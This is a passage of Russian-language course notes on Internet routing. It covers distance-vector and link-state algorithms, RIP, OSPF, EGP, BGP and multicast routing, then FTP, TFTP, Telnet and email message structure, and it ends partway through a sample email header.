Шлюзы, работающие по алгоритму Беллмана-Форда, хранят вектор длин кратчайших маршрутов до всех сетей, входящих в состав объединённой сети. Периодически каждый шлюз передаёт свой вектор соседним шлюзам автономной системы, а элементы вектора, принятого от соседнего шлюза, складываются с длинами исходящих линий связи. На основе полученной таблицы строится новый вектор длин кратчайших маршрутов — алгоритм Беллмана-Форда (DV — алгоритм Distance Vector). Протоколы на основе DV-алгоритма достаточно просто реализуются, требуют мало памяти и процессорного времени, однако они обладают рядом общих недостатков. При увеличении количества сетей, входящих в состав автономной системы, резко возрастает количество передаваемой информации, т.к. DV-алгоритм требует, чтобы все шлюзы периодически передавали свои векторы длин маршрутов.

Пары - (V,D) V -вектор (определяет получателя); D - дистанция (расстояние)

	Таблица маршрутизации маршрутизатора К
	Входящее сообщение об обновлении маршрутной информации от маршрутизатора J

	Получатель
	Расстояние
	Маршрут
	Получатель
	Расстояние

	Сеть 0
	0
	прямой
	Сеть 1
	2

	Сеть 2
	0
	прямой
	Сеть 4
	3

	Сеть 4
	8
	к маршр. L
	Сеть 17
	6

	Сеть 17
	5
	к маршр. M
	Сеть 21
	4

	Сеть 24
	6
	к маршр. N
	Сеть 24
	5

	Сеть 30
	2
	к маршр. Q
	Сеть 30
	10

	Сеть 42
	2
	к маршр. N
	Сеть 42
	3


Шлюзы, работающие по алгоритму Дейкстры (Shortest Path First — SPF-алгоритм), сначала определяют кратчайшие маршруты по всем сетям автономной системы. Для этого в каждом шлюзе строится полное дерево кратчайших путей с корнем в данном шлюзе. Процедура построения дерева кратчайших путей использует принцип, согласно которому в дерево кратчайших путей первой включается дуга с наименьшей длиной, поэтому алгоритм Дейкстры часто называют первым кратчайшим путем. После того как в шлюзе построено дерево кратчайших путей, изменения характеристик линий связи, определяющих длины соответствующих дуг графа, изменения топологии сети приводят к небольшим дополнительным вычислениям для корректирования дерева кратчайших путей. Шлюзы обмениваются только сведениями о длинах исходящих линий связи, а не векторами длин маршрутов, как в случае алгоритма Беллмана-Форда. Размер корректирующих пакетов со служебной информацией для маршрутизации мал и не зависит от числа сетей в автономной системе. Каждый шлюз посылает такие пакеты с помощью лавинной маршрутизации. При появлении в сети нового шлюза или включении новой линии связи изменения в топологии сети не учитываются при маршрутизации в течение некоторого времени для того, чтобы информация о происшедших изменениях успела достигнуть всех шлюзов автономной системы.

В целом алгоритм Дейкстры, по сравнению с алгоритмом Беллмана-Форда, обеспечивает более реальную оценку ситуации в сети, более быструю реакцию на важные изменения в сети (такие, как включение новой линии связи) и уменьшает зацикливание пакетов; однако алгоритм Дейкстры сложнее в реализации и требует в несколько раз больше памяти.

5.2.5 Принципы и алгоритмы маршрутизации в Интернет

5.2.5.1.1 [2]

5.2.5.2 Внутренние протоколы маршрутизации
Протокол GGP (Gateway to Gateway Protocol, RFC 823) был разработан и реализован фирмой BBN для первых экспериментальных шлюзов сети Internet. Он до сих пор используется в шлюзах фирмы BBN LSI/11, хотя считается, что GGP имеет серьёзные недостатки и позднее был заменён на алгоритм SPF. Алгоритм протокола GGP определяет маршрут с минимальным числом переприёмов, т.е. его мерой длины является просто число транзитных участков сети между парами шлюзов. Он реализует распределённый алгоритм кратчайшего пути, который требует глобальной сходимости маршрутных таблиц после изменений в топологии или связности.

Протокол RIP (Routing Information Protocol, RFC 1058, 1581, 1582, 1724) часто используется для класса протоколов маршрутизации, базирующихся на протоколах XNS (Xerox Network System — сетевая система Xerox) фирмы Xerox. Реализация протокола RIP для семейства протоколов TCP/IP широко доступна, поскольку входит в состав программного обеспечения ОС UNIX, например, FreeBSD или Linux. В силу своей простоты протокол RIP имеет наибольшие шансы превратиться в «открытый» протокол IGP, т.е. протокол, который может использоваться для совместной работы шлюзов, поставляемых разными фирмами. При использовании протокола RIP работает алгоритм динамического программирования Беллмана-Форда. В качестве метрики маршрутизации RIP использует число скачков (шагов) до цели. Такой вид метрики не учитывает различий в пропускной способности или загруженности отдельных сегментов сети. Каждому маршруту ставится в соответствие таймер тайм-аута и «сборщик мусора». Таймер тайм-аута сбрасывается каждый раз, когда маршрут инициализируется или корректируется. Если со времени последней коррекции прошло 3 минуты или получено сообщение в том, что вектор расстояния равен 16, маршрут считается закрытым, но запись о нём не стирается, пока не истечёт время «уборки мусора» (2 минуты). При появлении эквивалентного маршрута переключение на него не происходит. Протокол RIP достаточно простой, но не лишённый недостатков:

· требуется много времени для восстановления связи после сбоя в маршрутизаторе (минуты); в процессе установления режима возможны циклы; 

· ? число шагов — важный, но не единственный параметр маршрута, да и 15 шагов — не предел для современных сетей. 

Случай неустойчивой работы сети по протоколу RIP при изменении конфигурации - отказе линии связи маршрутизатора M1 с сетью 1. При работоспособном состоянии этой связи в таблице маршрутов каждого маршрутизатора есть запись о сети с номером 1 и соответствующим расстоянием до нее:
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При обрыве связи с сетью 1 маршрутизатор М1 отмечает, что расстояние до этой сети приняло значение 16. Однако получив через некоторое время от маршрутизатора М2 маршрутное сообщение о том, что от него до сети 1 расстояние составляет 2 хопа, маршрутизатор М1 наращивает это расстояние на 1 и отмечает, что сеть 1 достижима через маршрутизатор 2. В результате пакет, предназначенный для сети 1, будет циркулировать между маршрутизаторами М1 и М2 до тех пор, пока не истечет время хранения записи о сети 1 в маршрутизаторе 2, и он не передаст эту информацию маршрутизатору М1.

Для исключения подобных ситуаций маршрутная информация об известной маршрутизатору сети не передается тому маршрутизатору, от которого она пришла.

5.2.5.2.2 Формат сообщения протокола RIP 1
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	1 - 
	запрос на частичную или полную маршрутную информацию;

	2 - 
	ответ на запрос, содержащий пары чисел (адрес сети, расстояние), взятые из таблицы маршрутизации отправителя;

	9 - 
	запрос на обновление;

	10 - 
	ответ на запрос на обновление


5.2.5.2.4 Формат сообщения протокола RIP 2
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Протокол “HELLO”. Программное обеспечение Fuzzball для шлюза LSI/11 включает в себя реализацию протокола IGP под названием “HELLO”. В отличие от RIP в нём критерием выбора маршрута служит время, а не расстояние, поэтому “HELLO” требует достаточно точной синхронизации служб времени шлюзов.

Протокол OSPF (Open Shortest Path First, RFC 1850, 1583, 1584, 1587) представляет собой протокол состояния маршрута, причём в качестве метрики используется коэффициент качества обслуживания. Каждый маршрутизатор обладает полной информацией о состоянии всех интерфейсов шлюзов автономной системы. Определяющими являются три характеристики: задержка, пропускная способность и надёжность. Преимущества OSPF:

· для каждого адреса может быть несколько маршрутных таблиц, по одной на каждый вид IP-операции; 

· каждому интерфейсу присваивается безразмерная цена, учитывающая пропускную способность, время транспортировки сообщения; каждой IP-операции может быть присвоена своя цена; 

· при существовании эквивалентных маршрутов OSPF распределяет поток равномерно по этим маршрутам; 

· при связи «точка–точка» не требуется IP-адрес для каждого из концов; 

· применяется мультикастинг вместо широковещательной адресации, что снижает загрузку не вовлечённых в обмен сегментов. 

Недостатки OSPF — трудно получить информацию о предпочтительности каналов для узлов, поддерживающих другие протоколы или имеющих статическую маршрутизацию.
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5.2.5.2.7 Иерархически структурированная автономная сеть OSPF с четырьмя областями
Непосредственно связанные (то есть достижимые без использования промежуточных маршрутизаторов) маршрутизаторы называются "соседями". Каждый маршрутизатор хранит информацию о том, в каком состоянии по его мнению находится сосед. Маршрутизатор полагается на соседние маршрутизаторы и передает им пакеты данных только в том случае, если он уверен, что они полностью работоспособны. Для выяснения состояния связей маршрутизаторы-соседи достаточно часто обмениваются короткими сообщениями HELLO.

Для распространения по сети данных о состоянии связей маршрутизаторы обмениваются сообщениями другого типа. Эти сообщения называются router links advertisement - объявление о связях маршрутизатора (точнее, о состоянии связей). OSPF-маршрутизаторы обмениваются не только своими, но и чужими объявлениями о связях, получая в конце-концов информацию о состоянии всех связей сети. Эта информация и образует граф связей сети, который, естественно, один и тот же для всех маршрутизаторов сети.

Кроме информации о соседях, маршрутизатор в своем объявлении перечисляет IP-подсети, с которыми он связан непосредственно, поэтому после получения информации о графе связей сети, вычисление маршрута до каждой сети производится непосредственно по этому графу по алгоритму Дэйкстры. Более точно, маршрутизатор вычисляет путь не до конкретной сети, а до маршрутизатора, к которому эта сеть подключена. Каждый маршрутизатор имеет уникальный идентификатор, который передается в объявлении о состояниях связей. Такой подход дает возможность не тратить IP-адреса на связи типа "точка-точка" между маршрутизаторами, к которым не подключены рабочие станции.

Маршрутизатор вычисляет оптимальный маршрут до каждой адресуемой сети, но запоминает только первый промежуточный маршрутизатор из каждого маршрута. Таким образом, результатом вычислений оптимальных маршрутов является список строк, в которых указывается номер сети и идентификатор маршрутизатора, которому нужно переслать пакет для этой сети. Указанный список маршрутов и является маршрутной таблицей, но вычислен он на основании полной информации о графе связей сети, а не частичной информации, как в протоколе RIP.

Описанный подход приводит к результату, который не может быть достигнут при использовании протокола RIP или других дистанционно-векторных алгоритмов. RIP предполагает, что все подсети определенной IP-сети имеют один и тот же размер, то есть, что все они могут потенциально иметь одинаковое число IP-узлов, адреса которых не перекрываются. Более того, классическая реализация RIP требует, чтобы выделенные линии "точка-точка" имели IP-адрес, что приводит к дополнительным затратам IP-адресов.

В OSPF такие требования отсутствуют: сети могут иметь различное число хостов и могут перекрываться. Под перекрытием понимается наличие нескольких маршрутов к одной и той же сети. В этом случае адрес сети в пришедшем пакете может совпасть с адресом сети, присвоенным нескольким портам.

Если адрес принадлежит нескольким подсетям в базе данных маршрутов, то продвигающий пакет маршрутизатор использует наиболее специфический маршрут, то есть адрес подсети, имеющей более длинную маску.

Например, если рабочая группа ответвляется от главной сети, то она имеет адрес главной сети наряду с более специфическим адресом, определяемым маской подсети. При выборе маршрута к хосту в подсети этой рабочей группы маршрутизатор найдет два пути, один для главной сети и один для рабочей группы. Так как последний более специфичен, то он и будет выбран. Этот механизм является обобщением понятия "маршрут по умолчанию", используемого во многих сетях.

В протоколе OSPF используется несколько временных параметров, и среди них наиболее важными являются интервал сообщения HELLO и интервал отказа маршрутизатора (router dead interval).

5.2.5.2.8 Формат сообщения протокола OSPF
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Типы OSPF-сообщений:

	1 - 
	сообщение HELLO (используется для проверки достижимости);

	2 - 
	описание базы данных (топология);

	3 - 
	запрос о состоянии соединения;

	4 - 
	обновление состояния соединения;

	5 - 
	уведомление о состоянии соединения


5.2.5.2.10 Формат сообщения HELLO протокола OSPF
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Протокол IS-IS. Учитывая, с одной стороны, широкое распространение сетей с архитектурой TCP/IP, с другой стороны, повышенное внимание правительственных и коммерческих организаций к архитектуре ЭМВОС; ожидается, что архитектуры TCP/IP и ЭМВОС будут существовать долгое время вместе. Поэтому возникает необходимость в шлюзах, способных маршрутизировать одновременно IP- и ЭМВОС-трафик. Протокол IS-IS (Intermediate System to Intermediate System Protocol, RFC 1195) обеспечивает поддержку понятий IP-подсети, переменной маски подсети, маршрутизацию на основе значения поля «тип сервиса» в заголовке IP-пакета и понятие внешнего маршрута. Протокол IS-IS является динамическим протоколом маршрутизации, построенным на основе SPF-алгоритма.

5.2.6 Принципы и алгоритмы маршрутизации в Интернет

5.2.6.1.1 [3]

5.2.6.2 Внешние протоколы маршрутизации
Внешние протоколы маршрутизации предназначены главным образом для связи между автономными (независимыми) системами.

Протокол EGP (Exterior Gateway Protocol) один из известных протоколов этого типа (RFC 904, 827, 888, 911, 1092, 1093). Документ RFC 827, предложивший первую модель шлюза для взаимодействия со шлюзами других автономных систем, и документ RFC 888, представляющий собой развитие этой модели, накладывали существенное ограничение на топологию сети Internet, предполагая древовидную двухуровневую структуру, корнем которой является так называемая «магистральная» автономная система, состоящая из «магистральных» шлюзов. Главным преимуществом такой модели считалась невозможность образования в древовидной топологической структуре циклических маршрутов между автономными системами.

С помощью протокола EGP шлюзы могут снабжать друг друга информацией о достижимости соседних шлюзов и о маршрутах к соседним шлюзам. При этом динамическое вычисление маршрутов выполняется только шлюзами магистральной автономной системы, и затем результаты могут быть сообщены немагистральным шлюзам. Немагистральные шлюзы также могут предоставлять маршрутную информацию магистральным и немагистральным шлюзам, но они не имеют права передавать дальше маршруты, вычисленные на основе информации, полученной от других шлюзов. Это ограничение часто называется ограничением на распространение информации «третьей группы». Протокол EGP включает в себя механизм определения достижимости соседей (соседними называются шлюзы, совместно выполняющие протокол EGP), контроля достижимости и обмена информацией в форме обновляющих сообщений. Цель использования алгоритма достижимости — убедиться в том, что сосед работает и может поставлять надёжную информацию. Не менее важной является задача фильтрации информации перед тем, как отправлять её другим шлюзам, чтобы избежать лишних изменений базы данных.

Как правило, локальные шлюзы передают по внешнему протоколу только сведения, касающиеся своих автономных систем, чтобы не увеличивать без необходимости трафик в сетях.

при отправке пакета из одной автономной системы в другую, внешний шлюз данной системы на основании маршрутной информации, полученной от всех внешних шлюзов, с которыми он общается по протоколу EGP, выбирает наиболее подходящий внешний шлюз и отправляет ему пакет.

В протоколе EGP определены три основные функции: 

· установление соседских отношений, 

· подтверждение достижимости соседа, 

· обновление маршрутной информации. 

Каждая функция работает на основе обмена сообщениями запрос-ответ. 

Так как каждая автономная система работает под контролем своего административного штата, то перед началом обмена маршрутной информацией внешние шлюзы должны согласиться на такой обмен. Сначала один из шлюзов посылает запрос на установление соседских отношений (acquisition request) другому шлюзу. Если тот согласен на это, то он отвечает сообщением подтверждение установления соседских отношений (acquisition confirm), а если нет - то сообщением отказ от установления соседских отношений (acquisition refuse), которое содержит также причину отказа.

После установления соседских отношений шлюзы начинают периодически проверять состояние достижимости друг друга. Это делается либо с помощью специальных сообщений (привет (hello) и Я-услышал-тебя (I-heard-you)), либо встраиванием подтверждающей информации непосредственно в заголовок обычного маршрутного сообщения.

Обмен маршрутной информацией начинается с посылки одним из шлюзов другому сообщения запрос данных (poll request) о номерах сетей, обслуживаемых другим шлюзом и расстояниях до них от него. Ответом на это сообщение служит сообщение обновленная маршрутная информация (routing update). Если же запрос оказался некорректным, то в ответ на него отсылается сообщение об ошибке.

Все сообщения протокола EGP передаются в поле данных IP-пакетов. Сообщения EGP имеют заголовок фиксированного формата. Формат сообщения протокола EGP
Поля Тип и Код совместно определяют тип сообщения, а поле Статус - информацию, зависящую от типа сообщения. Поле Номер автономной системы - это номер, назначенный той автономной системе, к которой присоединен данный внешний шлюз. Поле Номер последовательности служит для синхронизации процесса запросов и ответов.

Поле IP-адрес исходной сети в сообщениях запроса и обновления маршрутной информации обозначает сеть, соединяющую два внешних шлюза

Сообщение об обновленной маршрутной информации содержит список адресов сетей, которые достижимы в данной автономной системе. Этот список упорядочен по внутренним шлюзам, которые подключены к исходной сети и через которые достижимы данные сети, а для каждого шлюза он упорядочен по расстоянию до каждой достижимой сети от исходной сети, а не от данного внутреннего шлюза.

Протокол BGP (Border Gateway Protocol, RFC 1267) — это протокол маршрутизации между автономными системами в сети Internet; он построен на основе опыта, накопленного при эксплуатации протокола EGP. Главная цель BGP — сократить транзитный трафик. Протокол BGP использует расширенное понятие автономной системы. В данном случае внутри автономной системы шлюзы могут использовать несколько различных протоколов маршрутизации и несколько метрик. Однако внутри автономной системы должен существовать единый план маршрутизации, позволяющий рассматривать автономную систему как единое целое.

5.2.6.2.1 [image: image40.png]



В зависимости от того, с каким трафиком имеет дело автономная система, она причисляется к одной из следующих категорий:

· тупиковая автономная система, имеющая единственное соединение с другими автономными системами; фактически, тупиковая система имеет дело только с локальным трафиком; 

· многовходовая автономная система. Эта система имеет более одного соединения с другими автономными системами, но она отказывается поддерживать транзитный трафик; 

· транзитная автономная система, которая имеет более одного соединения с другими автономными системами и предназначена для поддержания обоих видов трафика. 

Протокол BGP использует в качестве транспортного протокола протокол ТСР. Хост-ЭВМ, выполняющие протокол BGP, не обязательно должны одновременно являться шлюзами. Хост-ЭВМ, не являющаяся шлюзом, может обмениваться маршрутной информацией со шлюзами при помощи протокола EGP или внутреннего протокола маршрутизации. Эта хост-ЭВМ может затем использовать протокол BGP для обмена маршрутной информацией с граничным шлюзом другой автономной системы.

5.2.6.2.2 Формат BGP-сообщения об обновлении
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5.2.6.2.4 Формат BGP-сообщения об открытии BGP-соединения
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5.2.6.2.6 Поддержка бесклассовой адресации
Сжатый формат, используемый в протоколе BGP для хранения адреса получателя и соответствующей ему маски
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5.2.7 Принципы и алгоритмы маршрутизации в Интернет

5.2.7.1.1 [4]

5.2.7.2 Многоадресатная (групповая) маршрутизация
5.2.7.2.1 Способы групповой рассылки
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5.2.7.2.7 c

5.2.7.2.8 Алгоритмы групповой маршрутизации
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5.2.7.2.10 Иллюстрация проблемы групповой маршрутизации
Два подхода в построении дерева: 

· общее дерево; 

· дерево для каждого из отправителей в отдельности. 

1. Групповая маршрутизация с общим деревом 

5.2.7.2.11 [image: image48.png]



5.2.7.2.12 Единое общее дерево
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5.2.7.2.14 Дерево наименьшей стоимости для группы
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5.2.7.2.16 Формирование дерева с центральным узлом
Условные обозначения:
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	Путь и порядок, в котором генерируются сообщения


2. Групповая маршрутизация с деревом у каждого отправителя 
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5.2.7.2.18 Алгоритм продвижения данных по обратным маршрутам(RPF - Reverse Path Forwarding)
Условные обозначения:
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	Пакет пересылается дальше
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	Пакет дальше не пересылается 


Для отправителя S строится дерево для каждого из представителей этой группы
Отправляется групповая дейтаграмма, каждый маршрутизатор, получивший это сообщение отправит его своим соседям.
Маршрутизатор либо отправляет дальше, либо - нет (отправляет дальше в том случае, если информация поступила по кратчайшему пути.)

5.2.7.2.19 Межсетевой протокол управления группами IGMP (Internet Group Management Protocol)RFC 2236, версия 2
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5.2.7.2.21 Две составляющие групповой рассылки сетевого уровня: протокол IGMP и протоколы групповой маршрутизации
Формат IGMP-сообщения:
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Типы сообщений протокола IGMP

	Тип
	Адрес группы
	Описание

	0x11
	Отсутствует (ноль)
	Запрос о членах всех групп

	0x11
	Используется
	Запрос о членах определенной группы

	0x16
	Используется
	Отчет о членах группы

	0x17
	Используется
	Отключение от группы


Протоколы групповой рассылки:

· дистанционно-векторный протокол многоадресатной маршрутизации DVMRP; 

· многоадресатное расширение протоколаOSPF (MOSPF); 

5.2.7.2.23 Туннели для групповой рассылки
5.2.7.2.24 Физическая топология
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A, B, C - поддерживают групповую топологию. Остальные работают в режиме транзита (туннель)

5.2.7.2.26 Логическая топология
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5.2.7.3 Служба FTP. Протокол FTP. Протокол TFTP
5.2.7.3.1 Служба FTP
Служба FTP предназначена для обмена файлами и построена по технологии "клиент-сервер". Взаимодействие клиента и сервера осуществляется по протоколу FTP (File Transfer Protocol – протокол передачи файлов).
Клиент посылает запросы серверу, принимает и передает файлы.
Сервер обрабатывает запросы клиента, передает и принимает файлы.
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5.2.7.3.3 Взаимодействие клиента и сервера по протоколу FTP
FTP-клиент – это программный интерфейс пользователя, реализующий протокол передачи файлов FTP. Эта программа позволяет пользователю передавать файлы между двумя компьютерами, связанными между собой локальной (LAN) или глобальной (WAN) сетью. При этом компьютерные платформы могут быть различных типов.

FTP-серверы, как правило, доступны только для зарегистрированных пользователей и требуют при подключении:
ввода идентификатора (login – входное имя)
и пароля (password).

Многие FTP-серверы открыты и для свободного доступа, их часто называют анонимными. Для таких серверов
login (входное имя) – anonymous,
а в качестве пароля (password) рекомендуют ввести адрес своей электронной почты.

Большинство Web-браузеров обеспечивают доступ к FTP-серверам без использования специальных FTP-клиентов. Например, URL-адрес:

5.2.7.3.4 ftp://ftp.ware.ru/pub/win/internet/ftp/dl.zip

означает “связаться с FTP-сервером с правами для анонимных пользователей, перейти в каталог pub, далее в каталог win, каталог internet, каталог ftp и взять файл dl.zip”.

Сеанс работы с FTP-сервером можно провести в режиме командной строки. Для этого необходимо ввести команду ftp и после пробела ввести IP-адрес или DNS-адрес FTP-сервера. Если регистрация прошла успешно и связь установлена, то с помощью команд FTP можно выполнить все действия по работе с файлами.

5.2.7.3.5 Протокол FTP

Протокол FTP (File Transfer Protocol – протокол передачи файлов) используется службой FTP для передачи файлов, непосредственно взаимодействует с протоколом транспортного уровня TCP.

Первый стандарт – RFC-114 (File Transfer Protocol A.K. Bhushan Apr-10-1971).

Последняя версия – RFC-959 (File Transfer Protocol J. Postel, J.K. Reynolds Oct-01-1985). 

FTP отличается от других приложений тем, что он использует два TCP соединения для передачи файла: 

1. Управляющее соединение – соединение для посылки команд серверу и получения ответов от него. 

Для организации такого соединения используется протокол Telnet. Telnet-соединение устанавливается в один шаг – посылка запроса и ожидание ответа, получение которого свидетельствует о возможности передачи команд FTP.

Канал управления существует на протяжении всей FTP-сессии и закрывается после завершения информационного обмена.

2. Соединение данных – соединение для передачи файлов. 

Передача файлов после установленного Telnet-соединения осуществляется через логическое соединение, организуемое протоколом TCP, который проверяет доступность портов, закрепленных за FTP.

Канал данных формируется и ликвидируется по мере необходимости.

Протокол FTP предусматривает два возможных режима установления связи для обмена файлами: 

· активный режим; 

· пассивный режим. 

5.2.7.3.6 Активный режим
Действия клиента и сервера: 

1. Клиент устанавливает связь и посылает с нестандартного порта N (N>1024) запрос на 21 порт сервера; 

2. Сервер посылает ответ на порт N клиента; 

3. Сервер устанавливает связь для передачи данных по порту 20 на порт клиента N+1. 
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5.2.7.3.8 Пример установления связи для обмена файлами в активном режиме
Активный режим выгоден для FTP-сервера, но вреден для клиента. Так как FTP сервер пытается соединиться со случайным высоким (по номеру) портом на клиенте, то такое соединение может быть блокировано брандмауэром на стороне клиента.

5.2.7.3.9 Пассивный режим
Действия клиента и сервера 

1. Клиент устанавливает связь и посылает запрос (сообщает, что надо работать в пассивном режиме) на 21 порт сервера с нестандартного порта N (N>1024); 

2. Сервер назначает нестандартный порт P для канала данных (P>1024) и посылает на порт N клиента ответ, в котором сообщает номер порта P; 

3. Клиент устанавливает связь для передачи данных по порту N+1 на порт сервера P. 
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5.2.7.3.11 Пример установления связи для обмена файлами в пассивном режиме
Пассивный режим выгоден для клиента, но вреден для FTP-сервера. Клиент будет делать два соединения к серверу, при этом второе будет к случайному высокому порту. Такое соединение может быть блокировано брандмауэром на стороне сервера.
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5.2.7.3.13 Схема соединения по протоколу FTP в активном режиме 
Работа FTP на пользовательском уровне при передаче файлов содержит несколько этапов: 

1. Идентификация (ввод имени-идентификатора и пароля); 

2. Выбор каталога; 

3. Определение режима обмена: 

· передача файлов в текстовом виде; 

· передача файлов в бинарном виде; 

4. Выполнение команд обмена; 

5. Завершение работы. 

Протокол FTP определяет запрос-ответный способ взаимодействия между программой-клиентом и программой-сервером.

Список команд для работы с FTP-сервером (FTP-клиент реализован на ЭВМ с ОС Windows) приведён в прил. 8.1.
Пример сеансов работы с FTP-сервером pds.sut.ru приведён в прил. 8.2.
5.2.7.3.14 Протокол TFTP
Иногда для передачи файлов используется упрощенный протокол TFTP (Trivial File Transfer Protocol – простейший протокол передачи файлов). Он работает поверх транспортного протокола UDP. Обмен осуществляется в стартстопном режиме (с подтверждением доставки каждого переданного информационного блока) пакетами стандартной длины (512 байт) с заголовком (4 байта). Контроль ошибок не выполняется. Пакет считается принятым, если на него получено подтверждение, в противном случае выполняется однократная повторная передача.

Для начала обмена клиент случайным образом выбирает уникальный идентификатор TID (номер порта) и выдает на сервер запрос на чтение (RRQ) или запись (WRQ) файла. Запрос отправляется на UDP-порт 69 (порт инициализации). Сервер также случайным образом выбирают номер порта (уникальный идентификатор TID) и выдает клиенту подтверждение готовности (ACK). Затем начинается передача файла (команда DATA, блок данных, номер блока, …). Соединение закрывается после передачи пакета, имеющего длину менее 512 байт, и при получении пакета ERROR.

Команды протокола TFTP: 

1. Read request (RRQ) – запрос на чтение файла; 

2. Write request (WRQ) – запрос на запись файла; 

3. Data (DATA) – пакет данных; 

4. Acknowledgment (ACK) – подтверждение; 

5. Error (ERROR) – ошибка. 

Обычно TFTP используется при загрузке ОС в бездисковые рабочие станции и для загрузки конфигурационных файлов в маршрутизатор.

Отсутствие авторизации в TFTP может явиться одной из угроз безопасности.

Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\Documents and Settings\User>tftp?
Обмен файлами с удаленным компьютером, на котором запущена служба TFTP.

TFTP [-i] узел [GET | PUT] источник [адресат]

	-i
	Задание режима передачи файлов в двоичном формате.
В этом режиме файл передается в неизменном виде по байтам

	узел
	Указание локального или удаленного узла.

	GET
	Передача исходного файла с удаленного узла на локальный узел.

	PUT
	Передача исходного файла с локального узла на удаленный узел.

	источник
	Передаваемый файл.

	адресат
	Задание адресата, которому нужно передать файл.


5.2.7.3.15 Служба Telnet
Служба Telnet предназначена для эмуляции удаленного терминала и состоит из: 

· telnet-интерфейса пользователя 

· telnet-процесса (серверная часть); 

· TELNET-протокола. 
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5.2.7.3.17 Взаимодействие клиента и сервера по протоколу TELNET
5.2.7.3.18 Протокол TELNET
TELNET (TErminaL NETworking) – протокол и программные средства, позволяющие подключаться к удалённой машине и работать с ней через эмулируемый терминал (протокол виртуального терминала). Обеспечивает двунаправленную передачу данных. Стандартно используется 7-битовый код ASCII в 8-битовой упаковке.

Первый стандарт – RFC 0158 (Telnet Protocol: A Proposed Document T.C. O'Sullivan May-19-1971).

Последняя версия – RFC 0855 (Telnet Option Specifications J. Postel, J.K. Reynolds May-01-1983).

Соединение TELNET создается на базе соединения TCP, используемого для передачи данных и управляющей информации TELNET. Соединение TCP создается между некоторым выбираемым пользователем-инициатором (Telnet-клиентом) портом и портом с номером 23, закрепленным за протоколом TELNET на удаленной машине (Telnet-сервере).

Протокол TELNET базируется на следующих трех принципах: 

· концепции сетевого виртуального терминала (NVT - network virtual terminal); 

· согласования дополнительных режимов; 

· симметричности терминалов и процессов. 

NVT – это воображаемое устройство, находящееся на обоих концах соединения, у клиента и сервера, с помощью которого устанавливается соответствие между их реальными терминалами.

Модель, лежащая в основе TELNET, состоит из двух NVT, имеющих клавиатуру и экран и соединенных информационными каналами. Клавиатура одного NVT соединена с экраном удаленного NVT и наоборот. Возможен режим эхоотображения (как местного, так и удаленного) символов, поступающих с клавиатуры, на местный экран.

5.2.7.3.19 [image: image64.png]Knagnatypa — Knaenarypa

Srpar __[4 T

Ceresoit Ceresoit
BupTyaT: L BupTyaT: L
‘Tepmmsan ‘Tepmmsan

[er—— (ymanensu)





5.2.7.3.20 Модель, лежащая в основе TELNET
В протоколе TELNET предусмотрены следующие типы команд: 

· команды для согласования дополнительных режимов (опций); 

· команды управления и редактирования - ПРЕРЫВАНИЕ, ПРОВЕРКА ГОТОВНОСТИ, СТИРАНИЕ СИМВОЛА, СТИРАНИЕ СТРОКИ. 

Режимы функционорования Telnet-клиентов и серверов: 

· полудуплексный; 

· символ за один раз; 

· строка за один раз. 

5.2.8 Прикладной уровень. Протоколы FTP,Telnet,SMTP,POP. Гипертекстовая среда (HTTP)

5.2.8.1.1 [3]

	5.2.8.2 Структура и протоколы электронной почты в Internet
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Электронная почта: 

· на базе протокола Х.400; 

· на базе протокола UUCP; 

· на базе протокола SMTP 

Основным руководящим документом для электронной почты в Internet является RFC 2821 (Klensin J., Ed. Simple Mail Transfer Protocol. RFC 2821, April 2001).

В нем рассмотрены: 

· протокол SMTP (Simple Mail Transfer Protocol — простой протокол электронной почты), используемый для доставки почтовых сообщений от почтовой программы отправителя до электронного почтового ящика получателя; 

· основные принципы построения и функционирования электронной почты. 

5.2.8.2.1 Структура электронного сообщения
В настоящее время для электронных сообщений используется стандарт RFC 2822 (Resnick P., Ed. Internet Message Format. RFC 2822, April 2001). Сообщение, передаваемое по электронной почте, состоит из трех частей: 

· конверт (envelope); 

· заголовок (header); 

· тело (body). 

Сообщение доставляется получателю в виде заголовка и тела.

Заголовок состоит из полей: текстовых строк, состоящих из имени поля, двоеточия и содержимого поля.

В заголовке допускается использование только символов в кодировке ASCII.

Тело сообщения, если это не просто текст, записанный латинскими буквами, должно быть закодировано в соответствии со спецификацией MIME, как описано в RFC 2045 (Freed N., Borenstein N. Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies. RFC 2045, November 1996). На приемной стороне тело при необходимости декодируется и преобразуется в понятный пользователю вид.

5.2.8.2.2 Поля заголовка

	Название поля
	Значение поля

	Date:
	Время отправки сообщения

	From:
	Адрес отправителя

	Reply-To:
	Адрес для ответа

	To:
	Адреса получателей

	Cc:
	Адреса получателей копий

	Bcc:
	Адреса получателей скрытых копий. 

	Message-ID:
	Уникальный идентификатор сообщения

	In-Reply-To:
	Уникальный идентификатор сообщения, на которое отвечает данное сообщение

	References:
	Уникальные идентификаторы всех сообщений в цепочке ответов

	Subject:
	Тема сообщения

	Return-Path:
	Адрес отправителя, указанный на конверте сообщения

	Received:
	Информация о прохождении сообщения. Каждый узел, через который прошло сообщение, должен добавить в заголовок поле "Received:", содержащее имена и адреса IP узлов, пославших и принявших сообщение, время прохождения и пр.

	X-Mailer: 
	Тип и версия почтовой программы клиента

	MIME-Version:
	Используемая версия MIME

	Content-Type:
	Тип данных, используемых в теле сообщения

	Content-Transfer-Encoding:
	Способ кодирования символов, используемый в тексте сообщения

	Comments:
	Комментарии

	Priority: 
	Приоритет письма (Normal, Urgent, Nonurgent)

	Importance:
	Важность сообщения (High, Normal, Low)

	Organization: 
	Название организации отправителя


5.2.8.2.3 Пример электронного письма
X-AntiVirus: Checked by Dr.Web (http://www.drweb.net)
Return-Path: 
Received: from camay.yandex.ru (camay.yandex.ru [213.180.200.33]) by pds.sut.ru (8.12.2/8.12.2/SuSE Linux 0.6) with ESMTP id iA8GKO2Z011039; Mon, 8 Nov 2004 19:20:24 +0300
Received: from YAMAIL (camay.yandex.ru) by mail.yandex.ru id ; Mon, 8 Nov 2004 19:15:41 +0300
Date: Mon, 8 Nov 2004 19:15:41 +0300 (MSK)
From: "doronin2004" 
Reply-To: doronin2004@yandex.ru
Sender: doronin2004@yandex.ru
Message-Id: <418F9BAD.00001A.28843@camay.yandex.ru>
MIME-Version: 1.0
X-Mailer: Yamail [ http://yandex.ru ]
Errors-To: doronin2004@yandex.ru
To: emd@pds.sut.ru
Cc: bor@pds.sut.ru
Subject: E-mail
X-source-ip: 213.221.51.66
Content-Type: text/plain; charset="KOI8-R"
Content-Transfer-Encoding: 8bit
